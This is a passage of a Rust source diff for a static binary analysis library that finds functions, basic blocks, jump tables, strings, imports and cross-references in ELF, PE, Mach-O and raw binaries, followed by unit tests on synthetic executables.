*stats.discovered_by.entry(f.discovered_by.to_string()).or_default() += 1; + stats.blocks += f.blocks.len(); + stats.instructions += f.insn_count as usize; + stats.unresolved_indirect_jumps += f.unresolved_indirect_jumps as usize; + stats.jump_tables += f.jump_tables.len(); + stats.truncated_functions += usize::from(f.truncated); + for b in &f.blocks { + block_index.entry(b.start).or_insert((b.end, f.entry)); + } + } + if stats.unresolved_indirect_jumps > 0 { + limitations.push(( + "indirect_jumps_unresolved".into(), + format!("{} indirect jumps could not be resolved; code they reach may be missing", stats.unresolved_indirect_jumps), + )); + } + if stats.truncated_functions > 0 { + limitations.push(("functions_truncated".into(), format!("{} functions hit the per-function instruction limit", stats.truncated_functions))); + } + if bin.mitigations.stripped { + limitations.push(("stripped_binary".into(), "no local symbols: most function names are generated (sub_…)".into())); + } + limitations.push(( + "static_analysis_only".into(), + "functions reached only through computed pointers or at run time may be missing; absence is not proof".into(), + )); + ctl.progress(1.0, "done"); + Ok(Program { mode, functions, strings, xrefs_to, xrefs_from, import_slots: slots, data_names, stats, limitations, block_index, name_index }) + } + + /// True when function discovery stopped at the function or instruction cap, so the function + /// list (and everything derived from it) is incomplete. + pub fn discovery_capped(&self) -> bool { + self.limitations.iter().any(|(c, _)| c == "function_limit" || c == "instruction_limit") + } + + /// The function whose blocks contain `addr` (or whose range does). + pub fn function_containing(&self, addr: u64) -> Option<&Function> { + if let Some((_, &(end, f))) = self.block_index.range(..=addr).next_back() + && addr < end + { + return self.functions.get(&f); + } + self.functions.range(..=addr).next_back().map(|(_, f)| f).filter(|f| f.contains(addr)) + } + + pub fn function_by_name(&self, name: &str) -> Option<&Function> { + self.name_index.get(name).and_then(|e| self.functions.get(e)) + } + + /// The string whose bytes contain `addr`. + pub fn string_at(&self, addr: u64) -> Option<&ProgString> { + let i = self.strings.partition_point(|s| s.addr <= addr); + let s = self.strings.get(i.checked_sub(1)?)?; + (addr < s.addr.saturating_add(s.byte_len.max(1))).then_some(s) + } + + /// The default name of an address: function, data symbol, import slot, string label. + pub fn name_at(&self, addr: u64) -> Option { + if let Some(f) = self.functions.get(&addr) { + return Some(f.name.clone()); + } + if let Some(n) = self.data_names.get(&addr) { + return Some(n.clone()); + } + if let Some(s) = self.import_slots.get(&addr) { + return Some(slot_label(s)); + } + None + } + + /// Calls and tail jumps into `entry`: (call site, caller function entry). + pub fn callers(&self, entry: u64) -> Vec<(u64, Option)> { + let mut out: Vec<(u64, Option)> = self + .xrefs_to + .get(&entry) + .map(|v| { + v.iter() + .filter(|x| matches!(x.kind, XrefKind::Call | XrefKind::Jump)) + .map(|x| (x.from, self.function_containing(x.from).map(|f| f.entry))) + .collect() + }) + .unwrap_or_default(); + // Jumps inside the function itself are not callers. + out.retain(|(_, f)| *f != Some(entry)); + out.dedup(); + out + } + + /// Direct callees of a function: (site, target function or import name). + pub fn callees(&self, f: &Function) -> Vec { + let mut out = Vec::new(); + for c in &f.calls { + let name = match (c.target, &c.import) { + (_, Some(i)) => Some(i.clone()), + (Some(t), None) => self.name_at(t), + _ => None, + }; + out.push(Callee { site: c.site, target: c.target, name, import: c.import.is_some(), indirect: c.indirect && c.import.is_none() }); + } + for &t in &f.tail_calls { + out.push(Callee { site: f.end, target: Some(t), name: self.name_at(t), import: false, indirect: false }); + } + out + } + + /// Every instruction of a function, in address order, with the given formatting. + pub fn instructions(&self, img: &Image, f: &Function, fmt: bool) -> Vec { + let mut out = Vec::new(); + for b in &f.blocks { + let mut consts = ArmConsts::default(); + let mut a = b.start; + while a < b.end && out.len() < 200_000 { + let Some(mut i) = img.decode(a, fmt) else { break }; + if self.mode == Mode::A64 { + consts.apply(&mut i); + } + a = i.end(); + if i.len == 0 { + break; + } + out.push(i); + } + } + out + } + + pub fn function_names(&self) -> impl Iterator { + self.name_index.iter() + } +} + +/// A resolved callee. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct Callee { + #[serde(with = "hex_addr")] + pub site: u64, + #[serde(with = "hex_addr::opt")] + pub target: Option, + pub name: Option, + pub import: bool, + pub indirect: bool, +} + +/// Display label of an import slot (`__imp_CreateFileW`, `puts@got`). +pub fn slot_label(s: &SlotInfo) -> String { + if s.kind == "stub" { + format!("{}@stub", s.name) + } else if s.library.as_deref().is_some_and(|l| l.to_ascii_lowercase().ends_with(".dll")) { + format!("__imp_{}", s.name) + } else { + format!("{}@got", s.name) + } +} + +/// Packed strings (Rust and Go keep text without terminators, back to back): where code points +/// into the middle of one, a new string starts there. +fn split_at_references(strings: Vec, xrefs: &[Xref]) -> Vec { + let targets: BTreeSet = xrefs.iter().filter(|x| matches!(x.kind, XrefKind::Data | XrefKind::String)).map(|x| x.to).collect(); + let mut out = Vec::with_capacity(strings.len()); + for s in strings { + let end = s.addr.saturating_add(s.byte_len); + let mut cuts: Vec = targets + .range(s.addr.saturating_add(1)..end.max(s.addr.saturating_add(1))) + .filter_map(|&t| usize::try_from(t - s.addr).ok()) + .filter(|&at| s.text.is_char_boundary(at) && at < s.text.len()) + .collect(); + if cuts.is_empty() || !matches!(s.encoding, Encoding::Ascii | Encoding::Utf8) || s.text.len() as u64 != s.byte_len { + out.push(s); + continue; + } + cuts.push(s.text.len()); + let mut from = 0usize; + for to in cuts { + let Some(text) = s.text.get(from..to) else { continue }; + let at = from as u64; + out.push(ProgString { + addr: s.addr.saturating_add(at), + file_offset: s.file_offset.saturating_add(at), + byte_len: (to - from) as u64, + encoding: if text.is_ascii() { Encoding::Ascii } else { Encoding::Utf8 }, + text: text.to_string(), + section: s.section.clone(), + }); + from = to; + } + } + out +} + +fn collect_strings(img: &Image, limits: &Limits) -> Vec { + let bin = &img.bin; + let mut out = Vec::new(); + let raw = matches!(bin.format, Format::Raw | Format::DosCom | Format::DosMz); + let mut budget = limits.max_data_scan; + for s in &bin.sections { + if out.len() >= limits.max_strings || budget == 0 { + break; + } + if (s.exec && !raw) || !s.alloc || matches!(s.kind, "debug" | "bss") { + continue; + } + let Some(off) = s.file_offset.and_then(|o| usize::try_from(o).ok()) else { continue }; + let n = usize::try_from(s.file_size).unwrap_or(0).min(budget); + budget -= n; + let Some(bytes) = img.data.get(off..off.saturating_add(n).min(img.data.len())) else { continue }; + for f in craft_anything_formats::strings::extract(bytes, 0, limits.string_min_len, limits.max_strings - out.len()) { + out.push(ProgString { + addr: s.addr.wrapping_add(f.offset), + file_offset: off as u64 + f.offset, + byte_len: f.byte_len, + encoding: f.encoding, + text: f.text, + section: s.name.clone(), + }); + } + } + out.sort_by_key(|s| s.addr); + out.dedup_by_key(|s| s.addr); + out +} + +/// Name PLT-style stubs: each `jmp [slot]` in a `.plt*` section is the stub for that import. +fn scan_plt(img: &Image, mode: Mode, slots: &BTreeMap, stubs: &mut BTreeMap) { + for s in img.bin.sections.iter().filter(|s| s.exec && (s.name.starts_with(".plt") || s.name == "__stubs" || s.name == "__auth_stubs")) { + let mut a = s.addr; + let end = s.addr.saturating_add(s.size.min(4 << 20)); + let mut consts = ArmConsts::default(); + let mut stub_start = a; + while a < end { + let Some(mut i) = img.decode(a, false) else { + // At the top of the address space the step would wrap to 0 and walk it all again. + let Some(next) = a.checked_add(mode.align().max(1)) else { break }; + a = next; + stub_start = a; + continue; + }; + if mode == Mode::A64 { + consts.apply(&mut i); + } + if let Flow::IndirectJump { slot: Some(slot) } = i.flow { + if let Some(si) = slots.get(&slot) { + let start = if s.name.starts_with(".plt") && mode.is_x86() { a & !0xf } else { stub_start }; + stubs.entry(start.max(s.addr)).or_insert_with(|| si.name.clone()); + } + stub_start = i.end(); + consts.reset(); + } else if i.flow.ends_block() { + stub_start = i.end(); + consts.reset(); + } + a = i.end().max(a + 1); + } + } +} + +fn scan_function(ctx: &Ctx<'_>, entry: u64, known: &BTreeSet) -> Scan { + let img = ctx.img; + let mut sc = Scan { + insns: BTreeMap::new(), + leaders: BTreeSet::new(), + calls: Vec::new(), + xrefs: Vec::new(), + jump_tables: Vec::new(), + tails: Vec::new(), + code_ptrs: Vec::new(), + truncated: false, + unresolved: 0, + thunk_of: None, + returns: false, + }; + sc.leaders.insert(entry); + let mut work = vec![entry]; + let mut consts = ArmConsts::default(); + let mut recent: VecDeque = VecDeque::new(); + let first = first_real(img, entry); + while let Some(start) = work.pop() { + let mut a = start; + recent.clear(); + consts.reset(); + loop { + if sc.insns.contains_key(&a) { + break; + } + if sc.insns.len() >= ctx.limits.max_insns_per_function { + sc.truncated = true; + break; + } + if a != entry && a != start && known.contains(&a) && !sc.leaders.contains(&a) { + // Fell through into another function's entry: treat as a tail. + sc.tails.push(a); + break; + } + if !img.is_exec(a) { + break; + } + let Some(mut ins) = img.decode(a, false) else { break }; + if ctx.mode == Mode::A64 { + consts.apply(&mut ins); + } + sc.insns.insert(a, (ins.len, ins.flow)); + for &r in &ins.refs { + if img.is_mapped(r) { + let kind = if ctx.slots.contains_key(&r) { XrefKind::Import } else { XrefKind::Data }; + sc.xrefs.push(Xref { from: a, to: r, kind }); + if matches!(ins.kind, Kind::Lea | Kind::Mov | Kind::Push | Kind::Adr | Kind::Add) && img.is_exec(r) && !ctx.slots.contains_key(&r) { + sc.code_ptrs.push(r); + } + } + } + let next = ins.end(); + match ins.flow { + Flow::Next => {} + Flow::Jump { target } => { + sc.xrefs.push(Xref { from: a, to: target, kind: XrefKind::Jump }); + if let Some(name) = ctx.stubs.get(&target).filter(|_| a == first) { + sc.thunk_of = Some(name.clone()); + } + if target != entry && (known.contains(&target) || !img.is_exec(target)) { + sc.tails.push(target); + } else { + sc.leaders.insert(target); + work.push(target); + } + break; + } + Flow::Cond { target } => { + sc.xrefs.push(Xref { from: a, to: target, kind: XrefKind::Jump }); + sc.leaders.insert(next); + // A branch to another function's entry is a conditional tail call, not this body. + if target != entry && known.contains(&target) { + sc.tails.push(target); + } else { + sc.leaders.insert(target); + work.push(target); + } + } + Flow::Call { target } => { + sc.xrefs.push(Xref { from: a, to: target, kind: XrefKind::Call }); + let import = ctx.stubs.get(&target).cloned(); + let noreturn = import.as_deref().is_some_and(is_noreturn) || ctx.sym_noreturn.contains(&target); + sc.calls.push(CallSite { site: a, target: Some(target), import, indirect: false }); + if noreturn { + break; + } + } + Flow::IndirectCall { slot } => { + let import = slot.and_then(|s| ctx.slots.get(&s)).map(|s| s.name.clone()); + if let Some(s) = slot { + sc.xrefs.push(Xref { from: a, to: s, kind: if import.is_some() { XrefKind::Import } else { XrefKind::Data } }); + } + let noreturn = import.as_deref().is_some_and(is_noreturn); + sc.calls.push(CallSite { site: a, target: None, import, indirect: true }); + if noreturn { + break; + } + } + Flow::IndirectJump { slot } => { + if let Some(si) = slot.and_then(|s| ctx.slots.get(&s)) { + if a == first { + sc.thunk_of = Some(si.name.clone()); + } + sc.calls.push(CallSite { site: a, target: None, import: Some(si.name.clone()), indirect: true }); + } else if let Some(mut jt) = jump_table(img, &recent, &ins) { + // A switch stays inside its own function: entries outside the known + // function starts around the jump were read past the table's end. + let lo = known.range(..=a).next_back().copied().unwrap_or(entry).min(entry); + let hi = known.range(a.saturating_add(1)..).next().copied().unwrap_or(u64::MAX); + jt.targets.retain(|&t| t >= lo && t < hi); + for &t in &jt.targets { + sc.xrefs.push(Xref { from: a, to: t, kind: XrefKind::Jump }); + // A table entry on another function's entry is a tail (or the table was + // read past its end): never this function's body. + if t != entry && known.contains(&t) { + sc.tails.push(t); + } else { + sc.leaders.insert(t); + work.push(t); + } + } + if jt.targets.is_empty() { + sc.unresolved += 1; + } else { + sc.jump_tables.push(jt); + } + } else { + sc.unresolved += 1; + } + break; + } + Flow::Return => { + sc.returns = true; + break; + } + Flow::Stop => break, + } + if recent.len() >= 12 { + recent.pop_front(); + } + recent.push_back(ins); + if next <= a { + break; + } + a = next; + } + } + sc +} + +/// The first instruction of the function that isn't a landing pad (`endbr64`, `bti`). +fn first_real(img: &Image, entry: u64) -> u64 { + match img.decode(entry, false) { + Some(i) if i.kind == Kind::Nop => i.end(), + _ => entry, + } +} + +/// Recover a jump table for an indirect jump, from the instructions just before it. +fn jump_table(img: &Image, recent: &VecDeque, jmp: &Insn) -> Option { + let bound = recent + .iter() + .rev() + .find_map(|i| match (i.kind, i.ops.get(1)) { + (Kind::Cmp, Some(Op::Imm(n))) if *n >= 0 && *n < 4096 => Some(*n as usize + 1), + _ => None, + }) + .unwrap_or(256); + let ptr = img.pointer_size(); + // Absolute table: jmp [table + idx*ptr]. + if let Some(Op::Mem(m)) = jmp.ops.first() + && m.index.is_some() + && m.base.is_none() + && (m.scale as u64 == ptr) + { + let table = m.disp as u64; + return read_table(img, jmp.addr, table, ptr as u8, bound, |v| v); + } + let Some(Op::Reg(_)) = jmp.ops.first() else { return None }; + // Absolute table loaded into a register: mov reg, [table + idx*ptr]; jmp reg. + if let Some(m) = recent.iter().rev().find_map(|i| match (i.kind, i.ops.get(1)) { + (Kind::Mov, Some(Op::Mem(m))) if m.base.is_none() && m.index.is_some() && u64::from(m.scale) == ptr => Some(m.clone()), + _ => None, + }) { + return read_table(img, jmp.addr, m.disp as u64, ptr as u8, bound, |v| v); + } + // Relative table (PIC): lea base, [rip+T]; movsxd r, [base + idx*4]; add r, base; jmp r. + let has_movsx = recent.iter().any(|i| matches!((i.kind, i.ops.get(1)), (Kind::MovSx, Some(Op::Mem(m))) if m.index.is_some() && m.scale == 4)); + let table = recent.iter().rev().find_map(|i| match (i.kind, i.ops.get(1)) { + (Kind::Lea, Some(Op::Mem(m))) => m.addr, + _ => None, + })?; + if !has_movsx { + return None; + } + read_table(img, jmp.addr, table, 4, bound, move |v| table.wrapping_add(v as u32 as i32 as i64 as u64)) +} + +fn read_table(img: &Image, site: u64, table: u64, size: u8, bound: usize, decode: impl Fn(u64) -> u64) -> Option { + let mut targets = Vec::new(); + for i in 0..bound.min(1024) as u64 { + let at = table.checked_add(i * u64::from(size))?; + let Some(raw) = img.read(at, usize::from(size)) else { break }; + let v = match raw.len() { + 8 => u64::from_le_bytes(raw.try_into().ok()?), + 4 => u64::from(u32::from_le_bytes(raw.try_into().ok()?)), + _ => break, + }; + let t = decode(v); + if !img.is_exec(t) { + break; + } + targets.push(t); + } + if targets.is_empty() { + return None; + } + let mut uniq = targets.clone(); + uniq.sort_unstable(); + uniq.dedup(); + Some(JumpTable { site, table, entry_size: size, targets: uniq }) +} + +fn build_function(entry: u64, src: &'static str, sc: Scan, all_xrefs: &mut Vec, max_xrefs: usize) -> Function { + let jt_targets: BTreeMap> = sc.jump_tables.iter().map(|j| (j.site, j.targets.clone())).collect(); + let mut blocks: Vec = Vec::new(); + let mut cur: Option = None; + let mut prev_end: Option = None; + let mut prev_flow = Flow::Next; + let mut prev_addr = 0u64; + let finish = |b: &mut Block, flow: Flow, last: u64, contains: &dyn Fn(u64) -> bool| { + let (succs, term) = match flow { + Flow::Next | Flow::Call { .. } | Flow::IndirectCall { .. } => { + if contains(b.end) { + (vec![b.end], Term::Fall) + } else { + (vec![], Term::Unknown) + } + } + Flow::Jump { target } => { + if contains(target) { + (vec![target], Term::Jump) + } else { + (vec![], Term::Tail) + } + } + Flow::Cond { target } => { + let mut s = Vec::new(); + if contains(target) { + s.push(target); + } + if contains(b.end) && b.end != target { + s.push(b.end); + } + (s, Term::Cond) + } + Flow::IndirectJump { .. } => (jt_targets.get(&last).cloned().unwrap_or_default(), Term::Indirect), + Flow::Return => (vec![], Term::Return), + Flow::Stop => (vec![], Term::Stop), + }; + b.succs = succs; + b.term = term; + }; + let contains = |a: u64| sc.insns.contains_key(&a); + for (&a, &(len, flow)) in &sc.insns { + let new_block = cur.is_none() || sc.leaders.contains(&a) || prev_end != Some(a) || prev_flow.ends_block(); + if new_block { + if let Some(mut b) = cur.take() { + finish(&mut b, prev_flow, prev_addr, &contains); + blocks.push(b); + } + cur = Some(Block { start: a, end: a, insns: 0, succs: Vec::new(), term: Term::Fall }); + } + // Wrapping, as `Insn::end` is: an instruction at the top of the address space ends at 0. + let end = a.wrapping_add(u64::from(len)); + if let Some(b) = cur.as_mut() { + b.end = end; + b.insns += 1; + } + prev_end = Some(end); + prev_flow = flow; + prev_addr = a; + } + if let Some(mut b) = cur.take() { + finish(&mut b, prev_flow, prev_addr, &contains); + blocks.push(b); + } + let room = max_xrefs.saturating_sub(all_xrefs.len()); + all_xrefs.extend(sc.xrefs.iter().take(room).copied()); + let end = blocks.iter().map(|b| b.end).max().unwrap_or(entry); + Function { + entry, + name: String::new(), + name_source: "generated", + discovered_by: src, + insn_count: sc.insns.len() as u32, + blocks, + calls: sc.calls, + end, + thunk_of: sc.thunk_of, + truncated: sc.truncated, + jump_tables: sc.jump_tables, + unresolved_indirect_jumps: sc.unresolved, + tail_calls: sc.tails, + returns: sc.returns, + } +} + +/// Addresses in executable gaps that start like a function. +fn prologue_scan(img: &Image, mode: Mode, covered: &BTreeMap) -> Vec { + let mut out = Vec::new(); + let step = match mode { + Mode::X64 | Mode::X32 => 16, + Mode::A64 | Mode::A32 => 4, + _ => return out, + }; + let is_covered = |a: u64| covered.range(..=a).next_back().is_some_and(|(_, &end)| a < end); + // (start, bytes in the file) of each executable range: sections, or the segments when the file has none. + let mut ranges: Vec<(u64, u64)> = img + .bin + .sections + .iter() + .filter(|s| s.alloc && s.exec && s.file_offset.is_some()) + .filter(|s| !(s.name.starts_with(".plt") || s.name == "__stubs" || s.name == ".init" || s.name == ".fini")) + .map(|s| (s.addr, s.file_size)) + .collect(); + if img.bin.sections.is_empty() { + ranges.extend(img.bin.segments.iter().filter(|s| s.exec && s.file_size > 0).map(|s| (s.addr, s.file_size))); + } + for (start, size) in ranges { + let Some(mut a) = start.checked_add(step - 1).map(|a| a & !(step - 1)) else { continue }; + let end = start.saturating_add(size); + while a.checked_add(4).is_some_and(|e| e <= end) && out.len() < 200_000 { + if !is_covered(a) + && let Some(b) = img.read(a, 8) + { + let prev_ok = a == start || img.read(a - 1, 1).is_some_and(|p| matches!(p.first(), Some(0xc3 | 0xcc | 0x90 | 0x00 | 0xc2))); + let hit = match mode { + Mode::X64 => { + prev_ok + && (b.starts_with(&[0x55, 0x48, 0x89, 0xe5]) + || b.starts_with(&[0x55, 0x48, 0x8b, 0xec]) + || b.starts_with(&[0xf3, 0x0f, 0x1e, 0xfa]) + || b.starts_with(&[0x48, 0x83, 0xec]) + || b.starts_with(&[0x48, 0x81, 0xec]) + || b.starts_with(&[0x41, 0x57, 0x41, 0x56]) + || b.starts_with(&[0x53, 0x48, 0x83, 0xec])) + } + Mode::X32 => { + prev_ok && (b.starts_with(&[0x55, 0x89, 0xe5]) || b.starts_with(&[0x55, 0x8b, 0xec]) || b.starts_with(&[0x8b, 0xff, 0x55, 0x8b, 0xec])) + } + Mode::A64 => { + let w = u32::from_le_bytes([ + b.first().copied().unwrap_or(0), + b.get(1).copied().unwrap_or(0), + b.get(2).copied().unwrap_or(0), + b.get(3).copied().unwrap_or(0), + ]); + (w & 0xffc0_7fff) == 0xa980_7bfd || w == 0xd503_233f || w == 0xd503_245f || (w & 0xff80_03ff) == 0xd100_03ff + } + Mode::A32 => { + let w = u32::from_le_bytes([ + b.first().copied().unwrap_or(0), + b.get(1).copied().unwrap_or(0), + b.get(2).copied().unwrap_or(0), + b.get(3).copied().unwrap_or(0), + ]); + (w & 0xffff_4000) == 0xe92d_4000 // push {…, lr} + } + _ => false, + }; + if hit { + out.push(a); + } + } + // At the top of the address space the step would wrap to 0 and walk it all again. + let Some(next) = a.checked_add(step) else { break }; + a = next; + } + } + out +} + +fn pointer_scan(img: &Image, limits: &Limits, functions: &BTreeMap, strings: &BTreeMap, xrefs: &mut Vec) { + let bin = &img.bin; + let ptr = img.pointer_size(); + if ptr < 4 { + return; + } + let mut budget = limits.max_data_scan; + for s in bin.sections.iter().filter(|s| s.alloc && !s.exec && matches!(s.kind, "data" | "rodata" | "other" | "metadata")) { + let Some(off) = s.file_offset.and_then(|o| usize::try_from(o).ok()) else { continue }; + let n = usize::try_from(s.file_size).unwrap_or(0).min(budget); + budget -= n; + let Some(bytes) = img.data.get(off..off.saturating_add(n).min(img.data.len())) else { continue }; + let first = (ptr - (s.addr % ptr)) % ptr; + let mut i = first as usize; + while i + ptr as usize <= bytes.len() { + if xrefs.len() >= limits.max_xrefs { + return; + } + let Some(w) = bytes.get(i..i + ptr as usize) else { break }; + let v = if ptr == 8 { w.try_into().ok().map(u64::from_le_bytes) } else { w.try_into().ok().map(|x| u64::from(u32::from_le_bytes(x))) }; + if let Some(v) = v + && v != 0 + { + let Some(from) = s.addr.checked_add(i as u64) else { break }; + if functions.contains_key(&v) { + xrefs.push(Xref { from, to: v, kind: XrefKind::Pointer }); + } else if strings.contains_key(&v) { + xrefs.push(Xref { from, to: v, kind: XrefKind::String }); + } + } + i += ptr as usize; + } + if budget == 0 { + break; + } + } +} + +/// `_start` passes `main` to `__libc_start_main` in the first argument register. +fn guess_main(img: &Image, mode: Mode, functions: &BTreeMap, slots: &BTreeMap) -> Option { + let entry = img.bin.entry?; + let f = functions.get(&entry)?; + let call = f.calls.iter().find(|c| c.import.as_deref().map(bare) == Some("__libc_start_main"))?; + let arg = match mode { + Mode::X64 => "rdi", + Mode::A64 => "x0", + _ => return None, + }; + let _ = slots; + let mut consts = ArmConsts::default(); + let mut found = None; + let mut a = entry; + while a < call.site { + let mut i = img.decode(a, false)?; + if mode == Mode::A64 { + consts.apply(&mut i); + } + if i.writes.iter().any(|w| w == arg) { + found = i.refs.iter().copied().find(|r| functions.contains_key(r)); + } + a = i.end(); + } + found +} + +fn function_name( + img: &Image, + f: &Function, + stubs: &BTreeMap, + meta: &BTreeMap, + main_guess: Option, +) -> (String, &'static str) { + let bin = &img.bin; + let mut syms: Vec<&craft_anything_formats::Symbol> = + bin.symbols.iter().filter(|s| s.defined && s.kind == SymbolKind::Function && (s.addr == f.entry || s.addr == f.entry | 1)).collect(); + syms.sort_by_key(|s| (!s.global, s.name.starts_with('$'), s.name.len())); + if let Some(s) = syms.first() { + return (s.name.clone(), "symbol"); + } + if let Some(e) = bin.exports.iter().find(|e| e.addr == f.entry) { + return (e.name.clone(), "export"); + } + if let Some((n, source)) = meta.get(&f.entry) { + return (n.clone(), source); + } + let stub = stubs.get(&f.entry).or(f.thunk_of.as_ref()); + if let Some(n) = stub { + let suffix = match bin.format { + Format::Elf => "@plt", + Format::MachO => "@stub", + _ => "@thunk", + }; + return (format!("{n}{suffix}"), "import_thunk"); + } + if Some(f.entry) == main_guess { + return ("main".into(), "heuristic"); + } + if Some(f.entry) == bin.entry { + return ("entry".into(), "entry_point"); + } + (format!("sub_{:x}", f.entry), "generated") +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::NoControl; + use craft_anything_testkit as tk; + use std::sync::Arc; + + fn analyze(bytes: Vec) -> (Image, Program) { + let img = Image::parse(Arc::from(bytes)).unwrap(); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + (img, p) + } + + #[test] + fn a_stripped_go_program_keeps_its_function_names() { + let (_, p) = analyze(tk::formats::go_elf()); + for (name, off) in tk::formats::GO_FUNCS { + let f = p.functions.get(&(tk::formats::GO_TEXT_VA + off)).unwrap_or_else(|| panic!("{name} not found")); + assert_eq!((f.name.as_str(), f.name_source), (*name, "go_pclntab")); + } + // Found through the table itself, not only by being called. + assert_eq!(p.functions.get(&(tk::formats::GO_TEXT_VA + 0x40)).map(|f| f.discovered_by), Some("go_pclntab")); + } + + #[test] + fn elf_functions_calls_strings() { + let (elf, l) = tk::elf64(tk::ElfArch::X86_64, true); + let (img, p) = analyze(elf); + let main = p.function_by_name("main").unwrap(); + assert_eq!(main.entry, l.code_va); + let helper = p.function_by_name("helper").unwrap(); + let hidden = p.functions.get(&(l.code_va + tk::x64::HIDDEN)).expect("prologue scan finds hidden"); + assert_eq!(hidden.discovered_by, "prologue"); + assert_eq!(hidden.name, format!("sub_{:x}", l.code_va + tk::x64::HIDDEN)); + // helper: entry block, loop body, exit → 3 blocks with a back edge + assert_eq!(helper.blocks.len(), 3, "{:?}", helper.blocks); + assert!(helper.blocks.iter().any(|b| b.succs.contains(&b.start))); + // main calls puts (import), helper and dispatch + let callees = p.callees(main); + let names: Vec<_> = callees.iter().filter_map(|c| c.name.clone()).collect(); + assert!(names.contains(&"puts".to_string()), "{names:?}"); + assert!(names.contains(&"helper".to_string())); + assert!(names.contains(&"dispatch".to_string())); + // callers + assert_eq!(p.callers(helper.entry), vec![(l.code_va + 26, Some(main.entry))]); + // strings and string xrefs + let hello = p.strings.iter().find(|s| s.text == tk::HELLO).unwrap(); + assert_eq!(hello.addr, l.rodata_va); + let refs = p.xrefs_to.get(&hello.addr).unwrap(); + assert!(refs.iter().any(|x| x.kind == XrefKind::String && x.from == l.code_va + 8)); + // jump table + let d = p.function_by_name("dispatch").unwrap(); + assert_eq!(d.jump_tables.len(), 1); + assert_eq!(d.jump_tables[0].targets, tk::dispatch_cases(l.code_va).to_vec()); + assert_eq!(d.blocks.len(), 6, "{:?}", d.blocks); + // containing function + assert_eq!(p.function_containing(l.code_va + 0x45).unwrap().entry, helper.entry); + let asm = p.instructions(&img, main, true); + assert_eq!(asm.first().unwrap().text(), "push rbp"); + } + + #[test] + fn a_program_with_no_section_headers_is_found_by_its_dynamic_symbols() { + for table in [tk::flutter::SymbolTable::DynamicHash, tk::flutter::SymbolTable::DynamicGnuHash] { + let names = ["inflate", "deflate", "adler32"]; + let (img, p) = analyze(tk::sectionless::sectionless_elf(true, false, &names, table)); + assert!(img.bin.sections.is_empty()); + for name in names { + let f = p.function_by_name(name).unwrap_or_else(|| panic!("{name} not found")); + assert_eq!(f.discovered_by, "symbol"); + } + assert_eq!(p.functions.len(), 3); + } + } + + #[test] + fn the_prologue_scan_walks_executable_segments_when_there_are_no_sections() { + let (mut elf, l) = tk::elf64(tk::ElfArch::X86_64, false); + // Remove the section header table: offset, count and name-table index. + elf[40..48].fill(0); + elf[60..64].fill(0); + let (img, p) = analyze(elf); + assert!(img.bin.sections.is_empty()); + let hidden = p.functions.get(&(l.code_va + tk::x64::HIDDEN)).expect("the scan finds it without sections"); + assert_eq!(hidden.discovered_by, "prologue"); + } + + #[test] + fn instruction_cap_marks_discovery_incomplete() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let img = Image::parse(Arc::from(elf)).unwrap(); + let full = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + assert!(!full.discovery_capped()); + let tiny = Limits { max_total_insns: 3, ..Limits::default() }; + let p = Program::analyze(&img, &tiny, &NoControl).unwrap(); + assert!(p.discovery_capped()); + let (_, msg) = p.limitations.iter().find(|(c, _)| c == "instruction_limit").unwrap(); + assert!(msg.contains("function list is incomplete"), "{msg}"); + } + + #[test] + fn stripped_elf_and_entry() { + let (elf, l) = tk::elf64(tk::ElfArch::X86_64, false); + let (_, p) = analyze(elf); + let e = p.functions.get(&l.entry).unwrap(); + assert_eq!(e.name, "entry"); + assert!(p.limitations.iter().any(|(c, _)| c == "stripped_binary")); + assert!(p.functions.contains_key(&(l.code_va + tk::x64::HELPER))); + } + + #[test] + fn pe_imports_and_exports() { + let (_, p) = analyze(tk::pe64()); + let code = tk::PE_BASE + tk::PE_TEXT_RVA; + assert_eq!(p.functions.get(&(code + tk::x64::HELPER)).unwrap().name, "helper"); + let main = p.functions.get(&code).unwrap(); + assert!(main.calls.iter().any(|c| c.import.as_deref() == Some("puts"))); + let slot = tk::PE_BASE + tk::PE_IAT_RVA; + assert_eq!(p.name_at(slot).as_deref(), Some("__imp_puts")); + assert!(p.xrefs_to.get(&slot).unwrap().iter().any(|x| x.kind == XrefKind::Import)); + } + + #[test] + fn macho_objc_and_function_starts() { + let (_, p) = analyze(tk::macho64()); + let code = tk::MACHO_BASE + tk::MACHO_TEXT_OFF; + assert_eq!(p.functions.get(&code).unwrap().name, "_main"); + let hidden = p.functions.get(&(code + tk::x64::HIDDEN)).unwrap(); + assert_eq!(hidden.name, "-[CAWidget tapButton:]"); + let main = p.functions.get(&code).unwrap(); + assert!(main.calls.iter().any(|c| c.import.as_deref() == Some("_puts"))); + } + + #[test] + fn aarch64_adrp_strings_and_got_calls() { + let (elf, l) = tk::elf64(tk::ElfArch::Aarch64, true); + let (img, p) = analyze(elf); + let main = p.function_by_name("main").unwrap(); + assert!(main.calls.iter().any(|c| c.import.as_deref() == Some("puts")), "{:?}", main.calls); + assert!(main.calls.iter().any(|c| c.target == Some(l.code_va + tk::a64::HELPER))); + let hello = p.strings.iter().find(|s| s.text == tk::HELLO).unwrap(); + assert!(p.xrefs_to.get(&hello.addr).is_some_and(|v| v.iter().any(|x| x.from == l.code_va + 0xc))); + let helper = p.function_by_name("helper").unwrap(); + assert_eq!(helper.blocks.len(), 3); + assert!(!p.instructions(&img, helper, true).is_empty()); + } + + #[test] + fn dos_com_and_raw() { + let img = Image::dos_com(Arc::from(tk::dos_com())).unwrap(); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + let f = p.functions.get(&0x100).unwrap(); + assert!(f.insn_count >= 4); + let raw = Image::raw(Arc::from(tk::x86_64_code(0x1000, 0x2000, 0x3000)), craft_anything_formats::Arch::X86_64, 0x1000); + let p = Program::analyze(&raw, &Limits::default(), &NoControl).unwrap(); + assert!(p.functions.contains_key(&0x1000)); + assert!(p.functions.contains_key(&(0x1000 + tk::x64::HELPER))); + } + + #[test] + fn a_branch_to_another_functions_entry_ends_at_it() { + // 0x1000: test eax,eax; jz 0x1010; call 0x1010; ret 0x1010: mov eax,1; ret + // The callee is only found while the caller is scanned, so the caller first runs into it. + let mut code = vec![0xcc; 0x20]; + code[..10].copy_from_slice(&[0x85, 0xc0, 0x74, 0x0c, 0xe8, 0x07, 0, 0, 0, 0xc3]); + code[0x10..0x16].copy_from_slice(&[0xb8, 1, 0, 0, 0, 